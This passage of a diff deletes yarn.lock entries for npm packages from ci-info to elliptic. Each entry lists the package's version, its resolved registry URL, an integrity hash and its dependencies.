-  resolved "https://registry.yarnpkg.com/ci-info/-/ci-info-2.0.0.tgz#67a9e964be31a51e15e5010d58e6f12834002f46"
-  integrity sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ==
-
-cids@^0.7.1:
-  version "0.7.5"
-  resolved "https://registry.yarnpkg.com/cids/-/cids-0.7.5.tgz#60a08138a99bfb69b6be4ceb63bfef7a396b28b2"
-  integrity sha512-zT7mPeghoWAu+ppn8+BS1tQ5qGmbMfB4AregnQjA/qHY3GC1m1ptI9GkWNlgeu38r7CuRdXB47uY2XgAYt6QVA==
-  dependencies:
-    buffer "^5.5.0"
-    class-is "^1.1.0"
-    multibase "~0.6.0"
-    multicodec "^1.0.0"
-    multihashes "~0.4.15"
-
-cipher-base@^1.0.0, cipher-base@^1.0.1, cipher-base@^1.0.3:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/cipher-base/-/cipher-base-1.0.4.tgz#8760e4ecc272f4c363532f926d874aae2c1397de"
-  integrity sha512-Kkht5ye6ZGmwv40uUDZztayT2ThLQGfnj/T71N/XzeZeo3nf8foyW7zGTsPYkEya3m5f3cAypH+qe7YOrM1U2Q==
-  dependencies:
-    inherits "^2.0.1"
-    safe-buffer "^5.0.1"
-
-class-is@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/class-is/-/class-is-1.1.0.tgz#9d3c0fba0440d211d843cec3dedfa48055005825"
-  integrity sha512-rhjH9AG1fvabIDoGRVH587413LPjTZgmDF9fOFCbFJQV4yuocX1mHxxvXI4g3cGwbVY9wAYIoKlg1N79frJKQw==
-
-class-utils@^0.3.5:
-  version "0.3.6"
-  resolved "https://registry.yarnpkg.com/class-utils/-/class-utils-0.3.6.tgz#f93369ae8b9a7ce02fd41faad0ca83033190c463"
-  integrity sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==
-  dependencies:
-    arr-union "^3.1.0"
-    define-property "^0.2.5"
-    isobject "^3.0.0"
-    static-extend "^0.1.1"
-
-cliui@^3.2.0:
-  version "3.2.0"
-  resolved "https://registry.yarnpkg.com/cliui/-/cliui-3.2.0.tgz#120601537a916d29940f934da3b48d585a39213d"
-  integrity sha1-EgYBU3qRbSmUD5NNo7SNWFo5IT0=
-  dependencies:
-    string-width "^1.0.1"
-    strip-ansi "^3.0.1"
-    wrap-ansi "^2.0.0"
-
-cliui@^7.0.2:
-  version "7.0.4"
-  resolved "https://registry.yarnpkg.com/cliui/-/cliui-7.0.4.tgz#a0265ee655476fc807aea9df3df8df7783808b4f"
-  integrity sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==
-  dependencies:
-    string-width "^4.2.0"
-    strip-ansi "^6.0.0"
-    wrap-ansi "^7.0.0"
-
-clone-response@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/clone-response/-/clone-response-1.0.2.tgz#d1dc973920314df67fbeb94223b4ee350239e96b"
-  integrity sha1-0dyXOSAxTfZ/vrlCI7TuNQI56Ws=
-  dependencies:
-    mimic-response "^1.0.0"
-
-clone@2.1.2, clone@^2.0.0:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/clone/-/clone-2.1.2.tgz#1b7f4b9f591f1e8f83670401600345a02887435f"
-  integrity sha1-G39Ln1kfHo+DZwQBYANFoCiHQ18=
-
-code-point-at@^1.0.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/code-point-at/-/code-point-at-1.1.0.tgz#0d070b4d043a5bea33a2f1a40e2edb3d9a4ccf77"
-  integrity sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=
-
-collection-visit@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/collection-visit/-/collection-visit-1.0.0.tgz#4bc0373c164bc3291b4d368c829cf1a80a59dca0"
-  integrity sha1-S8A3PBZLwykbTTaMgpzxqApZ3KA=
-  dependencies:
-    map-visit "^1.0.0"
-    object-visit "^1.0.0"
-
-color-convert@^1.9.0:
-  version "1.9.3"
-  resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-1.9.3.tgz#bb71850690e1f136567de629d2d5471deda4c1e8"
-  integrity sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==
-  dependencies:
-    color-name "1.1.3"
-
-color-convert@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-2.0.1.tgz#72d3a68d598c9bdb3af2ad1e84f21d896abd4de3"
-  integrity sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==
-  dependencies:
-    color-name "~1.1.4"
-
-color-name@1.1.3:
-  version "1.1.3"
-  resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.3.tgz#a7d0558bd89c42f795dd42328f740831ca53bc25"
-  integrity sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=
-
-color-name@~1.1.4:
-  version "1.1.4"
-  resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.4.tgz#c2a09a87acbde69543de6f63fa3995c826c536a2"
-  integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==
-
-combined-stream@^1.0.6, combined-stream@^1.0.8, combined-stream@~1.0.6:
-  version "1.0.8"
-  resolved "https://registry.yarnpkg.com/combined-stream/-/combined-stream-1.0.8.tgz#c3d45a8b34fd730631a110a8a2520682b31d5a7f"
-  integrity sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==
-  dependencies:
-    delayed-stream "~1.0.0"
-
-command-exists@^1.2.8:
-  version "1.2.9"
-  resolved "https://registry.yarnpkg.com/command-exists/-/command-exists-1.2.9.tgz#c50725af3808c8ab0260fd60b01fbfa25b954f69"
-  integrity sha512-LTQ/SGc+s0Xc0Fu5WaKnR0YiygZkm9eKFvyS+fRsU7/ZWFF8ykFM6Pc9aCVf1+xasOOZpO3BAVgVrKvsqKHV7w==
-
-command-line-args@^4.0.7:
-  version "4.0.7"
-  resolved "https://registry.yarnpkg.com/command-line-args/-/command-line-args-4.0.7.tgz#f8d1916ecb90e9e121eda6428e41300bfb64cc46"
-  integrity sha512-aUdPvQRAyBvQd2n7jXcsMDz68ckBJELXNzBybCHOibUWEg0mWTnaYCSRU8h9R+aNRSvDihJtssSRCiDRpLaezA==
-  dependencies:
-    array-back "^2.0.0"
-    find-replace "^1.0.3"
-    typical "^2.6.1"
-
-commander@3.0.2:
-  version "3.0.2"
-  resolved "https://registry.yarnpkg.com/commander/-/commander-3.0.2.tgz#6837c3fb677ad9933d1cfba42dd14d5117d6b39e"
-  integrity sha512-Gar0ASD4BDyKC4hl4DwHqDrmvjoxWKZigVnAbn5H1owvm4CxCPdb0HQDehwNYMJpla5+M2tPmPARzhtYuwpHow==
-
-component-emitter@^1.2.1:
-  version "1.3.0"
-  resolved "https://registry.yarnpkg.com/component-emitter/-/component-emitter-1.3.0.tgz#16e4070fba8ae29b679f2215853ee181ab2eabc0"
-  integrity sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==
-
-concat-map@0.0.1:
-  version "0.0.1"
-  resolved "https://registry.yarnpkg.com/concat-map/-/concat-map-0.0.1.tgz#d8a96bd77fd68df7793a73036a3ba0d5405d477b"
-  integrity sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=
-
-concat-stream@^1.5.1:
-  version "1.6.2"
-  resolved "https://registry.yarnpkg.com/concat-stream/-/concat-stream-1.6.2.tgz#904bdf194cd3122fc675c77fc4ac3d4ff0fd1a34"
-  integrity sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==
-  dependencies:
-    buffer-from "^1.0.0"
-    inherits "^2.0.3"
-    readable-stream "^2.2.2"
-    typedarray "^0.0.6"
-
-content-disposition@0.5.3:
-  version "0.5.3"
-  resolved "https://registry.yarnpkg.com/content-disposition/-/content-disposition-0.5.3.tgz#e130caf7e7279087c5616c2007d0485698984fbd"
-  integrity sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==
-  dependencies:
-    safe-buffer "5.1.2"
-
-content-hash@^2.5.2:
-  version "2.5.2"
-  resolved "https://registry.yarnpkg.com/content-hash/-/content-hash-2.5.2.tgz#bbc2655e7c21f14fd3bfc7b7d4bfe6e454c9e211"
-  integrity sha512-FvIQKy0S1JaWV10sMsA7TRx8bpU+pqPkhbsfvOJAdjRXvYxEckAwQWGwtRjiaJfh+E0DvcWUGqcdjwMGFjsSdw==
-  dependencies:
-    cids "^0.7.1"
-    multicodec "^0.5.5"
-    multihashes "^0.4.15"
-
-content-type@~1.0.4:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/content-type/-/content-type-1.0.4.tgz#e138cc75e040c727b1966fe5e5f8c9aee256fe3b"
-  integrity sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==
-
-convert-source-map@^1.5.1:
-  version "1.7.0"
-  resolved "https://registry.yarnpkg.com/convert-source-map/-/convert-source-map-1.7.0.tgz#17a2cb882d7f77d3490585e2ce6c524424a3a442"
-  integrity sha512-4FJkXzKXEDB1snCFZlLP4gpC3JILicCpGbzG9f9G7tGqGCzETQ2hWPrcinA9oU4wtf2biUaEH5065UnMeR33oA==
-  dependencies:
-    safe-buffer "~5.1.1"
-
-cookie-signature@1.0.6:
-  version "1.0.6"
-  resolved "https://registry.yarnpkg.com/cookie-signature/-/cookie-signature-1.0.6.tgz#e303a882b342cc3ee8ca513a79999734dab3ae2c"
-  integrity sha1-4wOogrNCzD7oylE6eZmXNNqzriw=
-
-cookie@0.4.0:
-  version "0.4.0"
-  resolved "https://registry.yarnpkg.com/cookie/-/cookie-0.4.0.tgz#beb437e7022b3b6d49019d088665303ebe9c14ba"
-  integrity sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg==
-
-cookiejar@^2.1.1:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/cookiejar/-/cookiejar-2.1.2.tgz#dd8a235530752f988f9a0844f3fc589e3111125c"
-  integrity sha512-Mw+adcfzPxcPeI+0WlvRrr/3lGVO0bD75SxX6811cxSh1Wbxx7xZBGK1eVtDf6si8rg2lhnUjsVLMFMfbRIuwA==
-
-copy-descriptor@^0.1.0:
-  version "0.1.1"
-  resolved "https://registry.yarnpkg.com/copy-descriptor/-/copy-descriptor-0.1.1.tgz#676f6eb3c39997c2ee1ac3a924fd6124748f578d"
-  integrity sha1-Z29us8OZl8LuGsOpJP1hJHSPV40=
-
-core-js-pure@^3.0.1:
-  version "3.12.1"
-  resolved "https://registry.yarnpkg.com/core-js-pure/-/core-js-pure-3.12.1.tgz#934da8b9b7221e2a2443dc71dfa5bd77a7ea00b8"
-  integrity sha512-1cch+qads4JnDSWsvc7d6nzlKAippwjUlf6vykkTLW53VSV+NkE6muGBToAjEA8pG90cSfcud3JgVmW2ds5TaQ==
-
-core-js@^2.4.0, core-js@^2.5.0:
-  version "2.6.12"
-  resolved "https://registry.yarnpkg.com/core-js/-/core-js-2.6.12.tgz#d9333dfa7b065e347cc5682219d6f690859cc2ec"
-  integrity sha512-Kb2wC0fvsWfQrgk8HU5lW6U/Lcs8+9aaYcy4ZFc6DDlo4nZ7n70dEgE5rtR0oG6ufKDUnrwfWL1mXR5ljDatrQ==
-
-core-util-is@1.0.2, core-util-is@~1.0.0:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/core-util-is/-/core-util-is-1.0.2.tgz#b5fd54220aa2bc5ab57aab7140c940754503c1a7"
-  integrity sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=
-
-cors@^2.8.1:
-  version "2.8.5"
-  resolved "https://registry.yarnpkg.com/cors/-/cors-2.8.5.tgz#eac11da51592dd86b9f06f6e7ac293b3df875d29"
-  integrity sha512-KIHbLJqu73RGr/hnbrO9uBeixNGuvSQjul/jdFvS/KFSIH1hWVd1ng7zOHx+YrEfInLG7q4n6GHQ9cDtxv/P6g==
-  dependencies:
-    object-assign "^4"
-    vary "^1"
-
-create-ecdh@^4.0.0:
-  version "4.0.4"
-  resolved "https://registry.yarnpkg.com/create-ecdh/-/create-ecdh-4.0.4.tgz#d6e7f4bffa66736085a0762fd3a632684dabcc4e"
-  integrity sha512-mf+TCx8wWc9VpuxfP2ht0iSISLZnt0JgWlrOKZiNqyUZWnjIaCIVNQArMHnCZKfEYRg6IM7A+NeJoN8gf/Ws0A==
-  dependencies:
-    bn.js "^4.1.0"
-    elliptic "^6.5.3"
-
-create-hash@^1.1.0, create-hash@^1.1.2, create-hash@^1.2.0:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/create-hash/-/create-hash-1.2.0.tgz#889078af11a63756bcfb59bd221996be3a9ef196"
-  integrity sha512-z00bCGNHDG8mHAkP7CtT1qVu+bFQUPjYq/4Iv3C3kWjTFV10zIjfSoeqXo9Asws8gwSHDGj/hl2u4OGIjapeCg==
-  dependencies:
-    cipher-base "^1.0.1"
-    inherits "^2.0.1"
-    md5.js "^1.3.4"
-    ripemd160 "^2.0.1"
-    sha.js "^2.4.0"
-
-create-hmac@^1.1.0, create-hmac@^1.1.4, create-hmac@^1.1.7:
-  version "1.1.7"
-  resolved "https://registry.yarnpkg.com/create-hmac/-/create-hmac-1.1.7.tgz#69170c78b3ab957147b2b8b04572e47ead2243ff"
-  integrity sha512-MJG9liiZ+ogc4TzUwuvbER1JRdgvUFSB5+VR/g5h82fGaIRWMWddtKBHi7/sVhfjQZ6SehlyhvQYrcYkaUIpLg==
-  dependencies:
-    cipher-base "^1.0.3"
-    create-hash "^1.1.0"
-    inherits "^2.0.1"
-    ripemd160 "^2.0.0"
-    safe-buffer "^5.0.1"
-    sha.js "^2.4.8"
-
-cross-fetch@^2.1.0, cross-fetch@^2.1.1:
-  version "2.2.3"
-  resolved "https://registry.yarnpkg.com/cross-fetch/-/cross-fetch-2.2.3.tgz#e8a0b3c54598136e037f8650f8e823ccdfac198e"
-  integrity sha512-PrWWNH3yL2NYIb/7WF/5vFG3DCQiXDOVf8k3ijatbrtnwNuhMWLC7YF7uqf53tbTFDzHIUD8oITw4Bxt8ST3Nw==
-  dependencies:
-    node-fetch "2.1.2"
-    whatwg-fetch "2.0.4"
-
-cross-spawn@^6.0.5:
-  version "6.0.5"
-  resolved "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-6.0.5.tgz#4a5ec7c64dfae22c3a14124dbacdee846d80cbc4"
-  integrity sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==
-  dependencies:
-    nice-try "^1.0.4"
-    path-key "^2.0.1"
-    semver "^5.5.0"
-    shebang-command "^1.2.0"
-    which "^1.2.9"
-
-crypto-browserify@3.12.0:
-  version "3.12.0"
-  resolved "https://registry.yarnpkg.com/crypto-browserify/-/crypto-browserify-3.12.0.tgz#396cf9f3137f03e4b8e532c58f698254e00f80ec"
-  integrity sha512-fz4spIh+znjO2VjL+IdhEpRJ3YN6sMzITSBijk6FK2UvTqruSQW+/cCZTSNsMiZNvUeq0CqurF+dAbyiGOY6Wg==
-  dependencies:
-    browserify-cipher "^1.0.0"
-    browserify-sign "^4.0.0"
-    create-ecdh "^4.0.0"
-    create-hash "^1.1.0"
-    create-hmac "^1.1.0"
-    diffie-hellman "^5.0.0"
-    inherits "^2.0.1"
-    pbkdf2 "^3.0.3"
-    public-encrypt "^4.0.0"
-    randombytes "^2.0.0"
-    randomfill "^1.0.3"
-
-d@1, d@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/d/-/d-1.0.1.tgz#8698095372d58dbee346ffd0c7093f99f8f9eb5a"
-  integrity sha512-m62ShEObQ39CfralilEQRjH6oAMtNCV1xJyEx5LpRYUVN+EviphDgUc/F3hnYbADmkiNs67Y+3ylmlG7Lnu+FA==
-  dependencies:
-    es5-ext "^0.10.50"
-    type "^1.0.1"
-
-dashdash@^1.12.0:
-  version "1.14.1"
-  resolved "https://registry.yarnpkg.com/dashdash/-/dashdash-1.14.1.tgz#853cfa0f7cbe2fed5de20326b8dd581035f6e2f0"
-  integrity sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=
-  dependencies:
-    assert-plus "^1.0.0"
-
-debug@2.6.9, debug@^2.2.0, debug@^2.3.3, debug@^2.6.8, debug@^2.6.9:
-  version "2.6.9"
-  resolved "https://registry.yarnpkg.com/debug/-/debug-2.6.9.tgz#5d128515df134ff327e90a4c93f4e077a536341f"
-  integrity sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==
-  dependencies:
-    ms "2.0.0"
-
-debug@3.2.6:
-  version "3.2.6"
-  resolved "https://registry.yarnpkg.com/debug/-/debug-3.2.6.tgz#e83d17de16d8a7efb7717edbe5fb10135eee629b"
-  integrity sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==
-  dependencies:
-    ms "^2.1.1"
-
-debug@4.3.1, debug@^4.1.1:
-  version "4.3.1"
-  resolved "https://registry.yarnpkg.com/debug/-/debug-4.3.1.tgz#f0d229c505e0c6d8c49ac553d1b13dc183f6b2ee"
-  integrity sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==
-  dependencies:
-    ms "2.1.2"
-
-debug@^3.1.0:
-  version "3.2.7"
-  resolved "https://registry.yarnpkg.com/debug/-/debug-3.2.7.tgz#72580b7e9145fb39b6676f9c5e5fb100b934179a"
-  integrity sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==
-  dependencies:
-    ms "^2.1.1"
-
-decamelize@^1.1.1:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/decamelize/-/decamelize-1.2.0.tgz#f6534d15148269b20352e7bee26f501f9a191290"
-  integrity sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=
-
-decamelize@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/decamelize/-/decamelize-4.0.0.tgz#aa472d7bf660eb15f3494efd531cab7f2a709837"
-  integrity sha512-9iE1PgSik9HeIIw2JO94IidnE3eBoQrFJ3w7sFuzSX4DpmZ3v5sZpUiV5Swcf6mQEF+Y0ru8Neo+p+nyh2J+hQ==
-
-decode-uri-component@^0.2.0:
-  version "0.2.0"
-  resolved "https://registry.yarnpkg.com/decode-uri-component/-/decode-uri-component-0.2.0.tgz#eb3913333458775cb84cd1a1fae062106bb87545"
-  integrity sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU=
-
-decompress-response@^3.2.0, decompress-response@^3.3.0:
-  version "3.3.0"
-  resolved "https://registry.yarnpkg.com/decompress-response/-/decompress-response-3.3.0.tgz#80a4dd323748384bfa248083622aedec982adff3"
-  integrity sha1-gKTdMjdIOEv6JICDYirt7Jgq3/M=
-  dependencies:
-    mimic-response "^1.0.0"
-
-deep-eql@^3.0.1:
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/deep-eql/-/deep-eql-3.0.1.tgz#dfc9404400ad1c8fe023e7da1df1c147c4b444df"
-  integrity sha512-+QeIQyN5ZuO+3Uk5DYh6/1eKO0m0YmJFGNmFHGACpf1ClL1nmlV/p4gNgbl2pJGxgXb4faqo6UE+M5ACEMyVcw==
-  dependencies:
-    type-detect "^4.0.0"
-
-deep-equal@~1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/deep-equal/-/deep-equal-1.1.1.tgz#b5c98c942ceffaf7cb051e24e1434a25a2e6076a"
-  integrity sha512-yd9c5AdiqVcR+JjcwUQb9DkhJc8ngNr0MahEBGvDiJw8puWab2yZlh+nkasOnZP+EGTAP6rRp2JzJhJZzvNF8g==
-  dependencies:
-    is-arguments "^1.0.4"
-    is-date-object "^1.0.1"
-    is-regex "^1.0.4"
-    object-is "^1.0.1"
-    object-keys "^1.1.1"
-    regexp.prototype.flags "^1.2.0"
-
-defer-to-connect@^1.0.1:
-  version "1.1.3"
-  resolved "https://registry.yarnpkg.com/defer-to-connect/-/defer-to-connect-1.1.3.tgz#331ae050c08dcf789f8c83a7b81f0ed94f4ac591"
-  integrity sha512-0ISdNousHvZT2EiFlZeZAHBUvSxmKswVCEf8hW7KWgG4a8MVEu/3Vb6uWYozkjylyCxe0JBIiRB1jV45S70WVQ==
-
-deferred-leveldown@~1.2.1:
-  version "1.2.2"
-  resolved "https://registry.yarnpkg.com/deferred-leveldown/-/deferred-leveldown-1.2.2.tgz#3acd2e0b75d1669924bc0a4b642851131173e1eb"
-  integrity sha512-uukrWD2bguRtXilKt6cAWKyoXrTSMo5m7crUdLfWQmu8kIm88w3QZoUL+6nhpfKVmhHANER6Re3sKoNoZ3IKMA==
-  dependencies:
-    abstract-leveldown "~2.6.0"
-
-deferred-leveldown@~4.0.0:
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/deferred-leveldown/-/deferred-leveldown-4.0.2.tgz#0b0570087827bf480a23494b398f04c128c19a20"
-  integrity sha512-5fMC8ek8alH16QiV0lTCis610D1Zt1+LA4MS4d63JgS32lrCjTFDUFz2ao09/j2I4Bqb5jL4FZYwu7Jz0XO1ww==
-  dependencies:
-    abstract-leveldown "~5.0.0"
-    inherits "^2.0.3"
-
-define-properties@^1.1.3:
-  version "1.1.3"
-  resolved "https://registry.yarnpkg.com/define-properties/-/define-properties-1.1.3.tgz#cf88da6cbee26fe6db7094f61d870cbd84cee9f1"
-  integrity sha512-3MqfYKj2lLzdMSf8ZIZE/V+Zuy+BgD6f164e8K2w7dgnpKArBDerGYpM46IYYcjnkdPNMjPk9A6VFB8+3SKlXQ==
-  dependencies:
-    object-keys "^1.0.12"
-
-define-property@^0.2.5:
-  version "0.2.5"
-  resolved "https://registry.yarnpkg.com/define-property/-/define-property-0.2.5.tgz#c35b1ef918ec3c990f9a5bc57be04aacec5c8116"
-  integrity sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=
-  dependencies:
-    is-descriptor "^0.1.0"
-
-define-property@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/define-property/-/define-property-1.0.0.tgz#769ebaaf3f4a63aad3af9e8d304c9bbe79bfb0e6"
-  integrity sha1-dp66rz9KY6rTr56NMEybvnm/sOY=
-  dependencies:
-    is-descriptor "^1.0.0"
-
-define-property@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/define-property/-/define-property-2.0.2.tgz#d459689e8d654ba77e02a817f8710d702cb16e9d"
-  integrity sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==
-  dependencies:
-    is-descriptor "^1.0.2"
-    isobject "^3.0.1"
-
-defined@~1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/defined/-/defined-1.0.0.tgz#c98d9bcef75674188e110969151199e39b1fa693"
-  integrity sha1-yY2bzvdWdBiOEQlpFRGZ45sfppM=
-
-delayed-stream@~1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/delayed-stream/-/delayed-stream-1.0.0.tgz#df3ae199acadfb7d440aaae0b29e2272b24ec619"
-  integrity sha1-3zrhmayt+31ECqrgsp4icrJOxhk=
-
-depd@~1.1.2:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/depd/-/depd-1.1.2.tgz#9bcd52e14c097763e749b274c4346ed2e560b5a9"
-  integrity sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=
-
-des.js@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/des.js/-/des.js-1.0.1.tgz#5382142e1bdc53f85d86d53e5f4aa7deb91e0843"
-  integrity sha512-Q0I4pfFrv2VPd34/vfLrFOoRmlYj3OV50i7fskps1jZWK1kApMWWT9G6RRUeYedLcBDIhnSDaUvJMb3AhUlaEA==
-  dependencies:
-    inherits "^2.0.1"
-    minimalistic-assert "^1.0.0"
-
-destroy@~1.0.4:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/destroy/-/destroy-1.0.4.tgz#978857442c44749e4206613e37946205826abd80"
-  integrity sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA=
-
-detect-indent@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/detect-indent/-/detect-indent-4.0.0.tgz#f76d064352cdf43a1cb6ce619c4ee3a9475de208"
-  integrity sha1-920GQ1LN9Docts5hnE7jqUdd4gg=
-  dependencies:
-    repeating "^2.0.0"
-
-diff@5.0.0:
-  version "5.0.0"
-  resolved "https://registry.yarnpkg.com/diff/-/diff-5.0.0.tgz#7ed6ad76d859d030787ec35855f5b1daf31d852b"
-  integrity sha512-/VTCrvm5Z0JGty/BWHljh+BAiw3IK+2j87NGMu8Nwc/f48WoDAC395uomO9ZD117ZOBaHmkX1oyLvkVM/aIT3w==
-
-diffie-hellman@^5.0.0:
-  version "5.0.3"
-  resolved "https://registry.yarnpkg.com/diffie-hellman/-/diffie-hellman-5.0.3.tgz#40e8ee98f55a2149607146921c63e1ae5f3d2875"
-  integrity sha512-kqag/Nl+f3GwyK25fhUMYj81BUOrZ9IuJsjIcDE5icNM9FJHAVm3VcUDxdLPoQtTuUylWm6ZIknYJwwaPxsUzg==
-  dependencies:
-    bn.js "^4.1.0"
-    miller-rabin "^4.0.0"
-    randombytes "^2.0.0"
-
-dom-walk@^0.1.0:
-  version "0.1.2"
-  resolved "https://registry.yarnpkg.com/dom-walk/-/dom-walk-0.1.2.tgz#0c548bef048f4d1f2a97249002236060daa3fd84"
-  integrity sha512-6QvTW9mrGeIegrFXdtQi9pk7O/nSK6lSdXW2eqUspN5LWD7UTji2Fqw5V2YLjBpHEoU9Xl/eUWNpDeZvoyOv2w==
-
-dotignore@~0.1.2:
-  version "0.1.2"
-  resolved "https://registry.yarnpkg.com/dotignore/-/dotignore-0.1.2.tgz#f942f2200d28c3a76fbdd6f0ee9f3257c8a2e905"
-  integrity sha512-UGGGWfSauusaVJC+8fgV+NVvBXkCTmVv7sk6nojDZZvuOUNGUy0Zk4UpHQD6EDjS0jpBwcACvH4eofvyzBcRDw==
-  dependencies:
-    minimatch "^3.0.4"
-
-duplexer3@^0.1.4:
-  version "0.1.4"
-  resolved "https://registry.yarnpkg.com/duplexer3/-/duplexer3-0.1.4.tgz#ee01dd1cac0ed3cbc7fdbea37dc0a8f1ce002ce2"
-  integrity sha1-7gHdHKwO08vH/b6jfcCo8c4ALOI=
-
-ecc-jsbn@~0.1.1:
-  version "0.1.2"
-  resolved "https://registry.yarnpkg.com/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz#3a83a904e54353287874c564b7549386849a98c9"
-  integrity sha1-OoOpBOVDUyh4dMVkt1SThoSamMk=
-  dependencies:
-    jsbn "~0.1.0"
-    safer-buffer "^2.1.0"
-
-ee-first@1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/ee-first/-/ee-first-1.1.1.tgz#590c61156b0ae2f4f0255732a158b266bc56b21d"
-  integrity sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0=
-
-electron-to-chromium@^1.3.47:
-  version "1.3.728"
-  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.3.728.tgz#dbedd6373f595ae10a13d146b66bece4c1afa5bd"
-  integrity sha512-SHv4ziXruBpb1Nz4aTuqEHBYi/9GNCJMYIJgDEXrp/2V01nFXMNFUTli5Z85f5ivSkioLilQatqBYFB44wNJrA==
-
-elliptic@6.5.4, elliptic@^6.4.0, elliptic@^6.5.2, elliptic@^6.5.3:
-  version "6.5.4"
-  resolved "https://registry.yarnpkg.com/elliptic/-/elliptic-6.5.4.tgz#da37cebd31e79a1367e941b592ed1fbebd58abbb"
-  integrity sha512-iLhC6ULemrljPZb+QutR5TQGB+pdW6KGD5RSegS+8sorOZT+rdQFbsQFJgvN3eRqNALqJer4oQ16YvJHlU8hzQ==
-  dependencies:
-    bn.js "^4.11.9"
-    brorand "^1.1.0"
-    hash.js "^1.0.0"
-    hmac-drbg "^1.0.1"
-    inherits "^2.0.4"
-    minimalistic-assert "^1.0.1"
